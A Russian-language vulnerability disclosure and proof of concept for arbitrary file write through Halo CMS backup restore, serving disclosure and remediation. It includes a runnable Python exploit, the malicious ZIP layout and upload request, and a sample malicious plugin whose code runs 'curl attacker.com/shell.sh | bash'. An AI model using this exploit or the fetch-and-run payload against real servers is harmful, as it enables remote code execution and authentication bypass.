
Эксплойт для проверки концепции уязвимости произвольной записи файлов при восстановлении резервной копии Halo CMS, позволяющий выполнить код (RCE) через замену JAR-файла плагина или обход аутентификации.
Критическая уязвимость произвольной записи файлов существует в функциональности восстановления резервных копий Halo CMS версий до 2.25.4. Метод restoreWorkdir() в MigrationServiceImpl.java копирует каталог workdir/ из предоставленной пользователем резервной копии ZIP непосредственно в рабочий каталог приложения Halo (~/.halo2/) без какой-либо проверки типов файлов, защиты от обхода пути или проверки символических ссылок. Аутентифицированный злоумышленник с правами управления резервным копированием может создать вредоносный ZIP-файл резервной копии, содержащий произвольные файлы в каталоге workdir/, которые будут записаны в рабочий каталог сервера при восстановлении, что потенциально может привести к удалённому выполнению кода (RCE) через замену JAR-файлов плагинов или обходу аутентификации через замену RSA-ключей.
Оценка CVSS v3.1: 8.8 (Высокая)
Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE-73 (Внешний контроль имени файла или пути)
Уязвимость находится в методе restoreWorkdir() файла MigrationServiceImpl.java (строки 230-243):
private Mono<Void> restoreWorkdir(Path backupRoot) {
return Mono.<Void>create(sink -> {
try {
var workdir = backupRoot.resolve("workdir");
if (Files.exists(workdir)) {
copyRecursively(workdir, haloProperties.getWorkDir()); // УЯЗВИМАЯ СТРОКА
}
sink.success();
} catch (IOException e) {
sink.error(e);
}
}).subscribeOn(scheduler);
}
Метод copyRecursively() (Spring FileSystemUtils) выполняет рекурсивное копирование без:
.. в именах файловУязвимость срабатывает через конечную точку восстановления резервной копии:
POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data
Процесс восстановления выполняется в следующей последовательности:
┌─────────────────────────────────────────────────────────────┐
│ MigrationServiceImpl.restore() │
│ 1. unpackBackup() → Извлечение ZIP во временный каталог │
│ 2. restoreExtensions() → Восстановление extensions.data │
│ 3. restoreWorkdir() → Копирование workdir/ в ~/.halo2/ │
│ ↑ Произвольные файлы записываются в рабочий каталог │
└─────────────────────────────────────────────────────────────┘
Вредоносный ZIP-файл резервной копии должен содержать:
malicious-backup.zip
├── extensions.data # Обязательно: может быть пустым или содержать корректный JSONL
└── workdir/ # Обязательно: содержимое копируется в ~/.halo2/
├── PWNED_BY_POC.txt # Маркерный файл для подтверждения концепции
├── plugins/ # JAR-файлы плагинов для RCE
│ └── evil-plugin.jar # Вредоносный плагин
└── keys/ # RSA-ключи для обхода аутентификации
├── pat_id_rsa # Вредоносный закрытый ключ
└── pat_id_rsa.pub # Вредоносный открытый ключ
Файл extensions.data должен быть корректным для успешного выполнения restoreExtensions(). Допустимые форматы включают:
Пустой файл: (пустое содержимое)
Пустая строка: \n (только перевод строки)
Корректный JSONL: один объект ExtensionStore в строке:
{"name": "/registry/test/dummy", "data": "e30=", "version": 1}
Где data — содержимое в кодировке base64.
import zipfile
import io
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
# Пустой extensions.data (проходит проверку restoreExtensions)
zf.writestr('extensions.data', '\n')
# Произвольный файл для записи в ~/.halo2/
zf.writestr('workdir/PWNED_BY_POC.txt',
'Произвольная запись файла подтверждена!')
with open('malicious-backup.zip', 'wb') as f:
f.write(buf.getvalue())
Адрес управления резервным копированием во фронтенде: http://ip:port/console/backup
POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"
null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"
malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"
application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed
<Двоичное содержимое ZIP-файла>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--

# На сервере Halo
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt

~/.halo2/| Вектор атаки | Целевой файл | Воздействие | Серьёзность |
|---|---|---|---|
| Замена JAR-файла плагина | ~/.halo2/plugins/*.jar | Удалённое выполнение кода | Критическая |
| Замена RSA-ключа | ~/.halo2/keys/pat_id_rsa | Обход аутентификации | Критическая |
| Замена темы | ~/.halo2/themes/* | Хранимый XSS | Высокая |
| Перезапись конфигурации | ~/.halo2/*.yaml | Обход средств безопасности | Высокая |
Злоумышленник может заменить легитимный JAR-файл плагина вредоносным, содержащим:
@Extension
public class MaliciousExtension {
@PostConstruct
public void init() {
// Выполнение произвольной команды
Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
}
}
При загрузке плагина вредоносный код выполняется с правами процесса Halo.
#!/usr/bin/env python3
"""
Halo CMS Backup Restore Arbitrary File Write PoC
Уязвимость: Произвольная запись файлов при восстановлении резервной копии
CVSS: 8.8 (Высокая)
"""
import io
import sys
import zipfile
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target:8090"
SESSION = sys.argv[2] if len(sys.argv) > 2 else "SESSION=xxx"
def create_malicious_backup():
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('extensions.data', '\n')
zf.writestr('workdir/PWNED_BY_POC.txt',
'Произвольная запись файла при восстановлении резервной копии Halo подтверждена!')
buf.seek(0)
return buf
def exploit():
backup = create_malicious_backup()
url = f"{TARGET}/apis/console.api.migration.halo.run/v1alpha1/restorations"
files = {'file': ('backup.zip', backup, 'application/zip')}
headers = {'Cookie': SESSION}
r = requests.post(url, files=files, headers=headers, verify=False, timeout=60)
print(f"Статус: {r.status_code}")
print(f"Ответ: {r.text[:300]}")
if r.status_code == 200:
print("\n[+] УСПЕХ! Проверьте: cat ~/.halo2/PWNED_BY_POC.txt")
if __name__ == "__main__":
exploit()
# Выполнение PoC
python3 poc.py http://192.168.49.128:8090 "SESSION=f3d4ae4a-c1ac-46ec-bfe8-82e3206ee232"
# На сервере Halo
cat ~/.halo2/PWNED_BY_POC.txt
Добавьте проверки в метод restoreWorkdir():
private Mono<Void> restoreWorkdir(Path backupRoot) {
return Mono.<Void>create(sink -> {
try {
var workdir = backupRoot.resolve("workdir");
if (Files.exists(workdir)) {
// Проверка отсутствия обхода пути
checkDirectoryTraversal(backupRoot, workdir);
// Проверка отсутствия символических ссылок
Files.walkFileTree(workdir, new SimpleFileVisitor<Path>() {
@Override
public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
if (attrs.isSymbolicLink()) {
throw new SecurityException("Символические ссылки не разрешены");
}
return FileVisitResult.CONTINUE;
}
});
// Копирование с проверками
copyRecursively(workdir, haloProperties.getWorkDir());
}
sink.success();
} catch (IOException e) {
sink.error(e);
}
}).subscribeOn(scheduler);
}
application/src/main/java/run/halo/app/migration/impl/MigrationServiceImpl.javaДанное раскрытие уязвимости предназначено исключительно для исследовательских целей в области безопасности. Автор не несёт ответственности за любое неправомерное использование этой информации. Всегда получайте надлежащее разрешение перед тестированием систем на уязвимости.